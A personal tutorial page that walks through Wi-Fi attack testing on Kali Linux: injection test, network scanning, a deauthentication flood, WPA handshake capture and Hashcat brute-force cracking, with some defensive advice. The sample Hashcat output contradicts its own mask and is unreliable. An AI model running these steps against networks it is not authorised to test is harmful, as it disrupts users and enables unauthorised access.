Wi-Fi Security Testing

Like what you see?

If this guide helped you, visit my LinkedIn profile and share your appreciation!

About Wi-Fi Security Testing

This page focuses on testing the security of Wi-Fi networks using the Lanberg NC-0300-WIE wireless card with a Realtek chipset. The tests aim to identify vulnerabilities in personal Wi-Fi networks and propose measures to improve their security.

These tests require a wireless card that supports specific chipsets and can enter monitor mode. Captured traffic during the tests is analyzed using Wireshark, a powerful network protocol analyzer.

It is fascinating (and slightly ironic) that a card costing around 35 PLN (~8-9 dollars/euros) can offer the capability to analyze and potentially hack various Wi-Fi networks. This highlights the importance of understanding Wi-Fi encryption protocols and their vulnerabilities.

During scanning, it is still possible to find networks that reveal the type of router in use, such as Orange FunBox or TP-Link routers. These routers often use default passwords that are predictable, such as numeric strings of specific lengths. For example, Orange FunBox routers have passwords of a fixed length, making them easier to guess.

Wi-Fi networks are commonly secured using WPA2 or WPA3 encryption protocols:

The primary difference between WPA2 and WPA3 lies in the enhanced security measures of WPA3. By utilizing SAE for secure key exchanges, WPA3 strengthens resistance against dictionary attacks. Additionally, it supports 192-bit encryption in enterprise mode, compared to WPA2's 128-bit encryption.

To enhance Wi-Fi security, it is crucial to use these protocols along with strong, unique passwords. Implementing additional measures such as changing default passwords, increasing password length, and renaming networks to avoid indicating the router type can further reduce vulnerabilities. These practices help prevent unauthorized access and data breaches, safeguarding personal networks effectively.

Command: sudo aireplay-ng --test lanbergwifi

kali@kali ~> sudo aireplay-ng --test lanbergwifi

Purpose of the Command:

This command is used to test whether the wireless card (`lanbergwifi`) supports packet injection. Packet injection is a critical feature for certain WiFi penetration testing tasks, such as deauthentication attacks, capturing handshake packets, or other advanced techniques. Ensuring that the card can inject packets confirms its capability to interact with networks beyond just passive monitoring.

Example Output:


15:45:24  Trying broadcast probe requests...
15:45:25  Injection is working!
15:45:26  Found 2 APs

15:45:26  Trying directed probe requests...
15:45:26  xx:xx:xx:xx:xx:xx - channel: 1 - 'kali_xx'
15:45:26  Ping (min/avg/max): 1.483ms/4.968ms/21.638ms Power: -65.13
15:45:26  30/30: 100%

15:45:26  xx:xx:xx:xx:xx:xx - channel: 1 - 'xxxxxx'
15:45:26  Ping (min/avg/max): 2.270ms/7.646ms/25.232ms Power: -79.00
15:45:26  30/30: 100%
			

Attribute Legend:

Conclusion:

The output from the `sudo aireplay-ng --test` command confirms that the wireless card is capable of injecting packets into the network. The message "Injection is working!" confirms that the card is ready for attacks that require packet injection, such as deauthentication attacks.

The command also successfully detects two access points (APs) in the vicinity and tests the card's ability to communicate with these APs. The ping times indicate the latency when communicating with these APs, while the signal strength shows the power of the connection, with stronger signals making the connection more stable.

Command: Managing Wireless Connections with nmcli

Disconnecting from a Wireless Network

kali@kali ~> nmcli device disconnect lanbergwifi

This command is used to disconnect the specified wireless device (in this case, `lanbergwifi`) from its current network. This is useful if the wireless device is already connected to a network and you need to switch it to a different mode or network.

Connecting to a Wireless Network

kali@kali ~> nmcli device connect lanbergwifi

This command reconnects the specified wireless device to its assigned network or a previously known connection. It ensures that the device resumes normal functionality after being disconnected.

Configuring a Wireless Network from the Command Line

kali@kali ~> nmcli dev wifi connect "Your_SSID" password "Your_Password"

Use this command to connect to a specific wireless network by providing the SSID (network name) and the password. Replace Your_SSID with the name of the wireless network and Your_Password with the corresponding password.

Preliminary Steps Before Changing Modes

If you need to switch your wireless device between monitor and managed modes, ensure the following steps:

Attribute Legend

Configuring Wireless Interface Modes: Monitor and Managed

Command: sudo iwconfig lanbergwifi mode monitor

kali@kali ~> sudo iwconfig lanbergwifi mode monitor

What is Monitor Mode?

Monitor mode allows a wireless interface to capture all wireless traffic in the area, regardless of the intended recipient. This is crucial for network analysis, penetration testing, and debugging wireless networks. In monitor mode, the network card listens to all packets in the air, including management, control, and data frames. This allows you to observe and analyze network traffic, detect vulnerabilities, and perform attacks such as packet sniffing or injecting packets.

Preliminary Steps Before Changing to Monitor Mode:

Attribute Legend:

Command: sudo iwconfig lanbergwifi mode managed

kali@kali ~> sudo iwconfig lanbergwifi mode managed

Why Switch Back to Managed Mode?

After completing testing or analysis in monitor mode, it is important to switch the wireless interface back to managed mode. Managed mode is the default operating mode for most wireless devices, where the interface connects to a specific wireless network (SSID) and communicates with other devices in that network. In this mode, the network card is associated with an access point, allowing it to transmit and receive data to/from other devices. Leaving the card in monitor mode could interfere with normal network functionality, as the card will no longer be able to connect to your wireless network.

Preliminary Steps Before Changing Back to Managed Mode:

Attribute Legend:

Inspecting Wireless Devices with iw

The iw dev command provides detailed information about wireless devices and their configurations. This is particularly useful for verifying the current state of wireless interfaces, such as their operational mode, MAC address, and transmission power.

Command: iw dev

kali@kali ~> iw dev

The purpose of running this command is to verify the configuration and operational state of the wireless interface. For example, you can confirm whether the interface is in monitor or managed mode, check its transmission power, or identify its MAC address.

Example Output:

phy#0
Interface lanbergwifi
ifindex 5
wdev 0x200000001
addr xx:xx:xx:xx:xx:xx
type monitor
txpower 20.00 dBm

Attribute Legend:

Analyze Wireless Networks and Connected Devices: sudo airodump-ng lanbergwifi

The command sudo airodump-ng lanbergwifi is used to monitor wireless networks and their connected devices. It provides detailed information about access points (APs), signal strength, encryption, and associated clients. This is essential for network diagnostics and security assessments.

kali@kali ~> sudo airodump-ng lanbergwifi

Example Output:


CH  3 ][ Elapsed: 7 mins ][ 2024-12-31 15:32 

BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
xx:xx:xx:xx:xx:xx  -75        0        0    0   8   -1                    
xx:xx:xx:xx:xx:xx  -94       24        3    0   6  195   WPA2 CCMP   PSK  Orange_Swiatlowod_CB30
xx:xx:xx:xx:xx:xx  -94       62        6    0  11  130   WPA2 CCMP   PSK  Orange_Swiatlowod_3B10
xx:xx:xx:xx:xx:xx  -86      315        0    0  11  270   WPA2 CCMP   PSK  2.4G-Vectra-WiFi

BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes
xx:xx:xx:xx:xx:xx  xx:xx:xx:xx:xx:xx  -95    0 - 1e   180        6         Orange_Swiatlowod_CB30
xx:xx:xx:xx:xx:xx  xx:xx:xx:xx:xx:xx  -75   54e- 1e     0       25         Orange_Swiatlowod_3B10
xx:xx:xx:xx:xx:xx  xx:xx:xx:xx:xx:xx  -87    2e- 1e     0       68                                                 
(not associated)   xx:xx:xx:xx:xx:xx  -63    0 - 1     47       15                                                 
(not associated)   xx:xx:xx:xx:xx:xx  -79    0 - 1      0        1                                                 
(not associated)   xx:xx:xx:xx:xx:xx  -95    0 - 1      0        1
			

Attribute Legend:

Conclusion:

The command sudo airodump-ng lanbergwifi is useful for gathering information about nearby wireless networks and devices. It helps identify potential issues, analyze network usage, and check for unauthorized devices.

WPA Handshake Capture and Output Analysis

The following command is used to capture a WPA handshake for a specific wireless network:

kali@kali ~> sudo airodump-ng -c 1 --bssid xx:xx:xx:xx:xx:xx lanbergwifi -w /home/kali/airodump-ng/xx:xx:xx:xx:xx:xx

Explanation of the Command:

The command airodump-ng -c 1 --bssid -w is used for capturing WPA handshakes from a specific wireless network. Here’s what each part of the command does:

Forcing a Handshake:

If the handshake is not automatically captured (e.g., no devices are actively reconnecting), you can force a disconnection of clients using the following command:

kali@kali ~> sudo aireplay-ng --deauth 100 -a XX:XX:XX:XX:XX:XX lanbergwifi

This forces connected devices to reconnect, during which the WPA handshake can be captured.

After running the command airodump-ng, the output shows details about the network and the captured handshake. Here’s a breakdown of the key elements of the output:


CH  1 ][ Elapsed: 3 mins ][ 2024-12-31 15:48 ][ WPA handshake: xx:xx:xx:xx:xx:xx 

BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
xx:xx:xx:xx:xx:xx  -59  78     1828      367    2   1  130   WPA2 CCMP   PSK  kali_xx

BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes
xx:xx:xx:xx:xx:xx  xx:xx:xx:xx:xx:xx  -67    1e- 1e     0       22  EAPOL  kali_xx
xx:xx:xx:xx:xx:xx  xx:xx:xx:xx:xx:xx  -61   24e- 1e     0      102  EAPOL
xx:xx:xx:xx:xx:xx  xx:xx:xx:xx:xx:xx  -63   24e- 1e     1      133  EAPOL  kali_xx
			

Key Details:

Conclusion: The WPA handshake capture indicates that the handshake has been successfully collected for the network. This captured handshake can be used in further steps for password cracking, where tools like Hashcat can be employed to attempt to decrypt the password using methods such as dictionary or brute-force attacks. The next section will cover how to proceed with cracking the captured WPA handshake.

Cracking WPA Handshake Using HCXPCAPNG Tool and Hashcat

After capturing a WPA handshake, you can use hcxpcapngtool to convert the captured file into a format that can be used by Hashcat for password cracking. The following command demonstrates how to convert a WPA capture file to a hc22000 hash format, which is compatible with Hashcat:

kali@kali ~> hcxpcapngtool -o output.hc22000 xx:xx:xx:xx:xx:xx.cap

Explanation of the Command:

Once the capture file is converted, you can use Hashcat to attempt to crack the password using a dictionary or brute-force attack. The following command demonstrates how to run Hashcat on the generated output.hc22000 hash file:

kali@kali ~> hashcat -m 22000 -a 3 output.hc22000 ?u?u?u?u?u?u?u?u?u?u?u?u?u?u?u

Explanation of the Command:

Example Output from Hashcat:


...
[INFO] Hashcat v6.2.5 starting...

[INFO] Hashes: 1 total
[INFO] Attack: Brute-force
[INFO] Mask: ?u?u?u?u?u?u?u?u?u?u?u?u?u?u?u
[INFO] Time: 0 hours, 0 minutes, 2 seconds
[INFO] Found password: A1B2C3D4E5F6A1B
...
			

Key Details of the Output:

Conclusion: The above steps demonstrate how to capture a WPA handshake, convert it to a usable hash format using hcxpcapngtool, and then crack the password using Hashcat. By modifying the attack mode or mask, you can customize the brute-force process to fit different types of passwords. If you are using a more powerful machine than a virtual Kali Linux instance, you can install Hashcat for Windows and take advantage of the device's GPU for faster cracking performance. For more information and to download Hashcat, visit the official site at https://hashcat.net/hashcat/.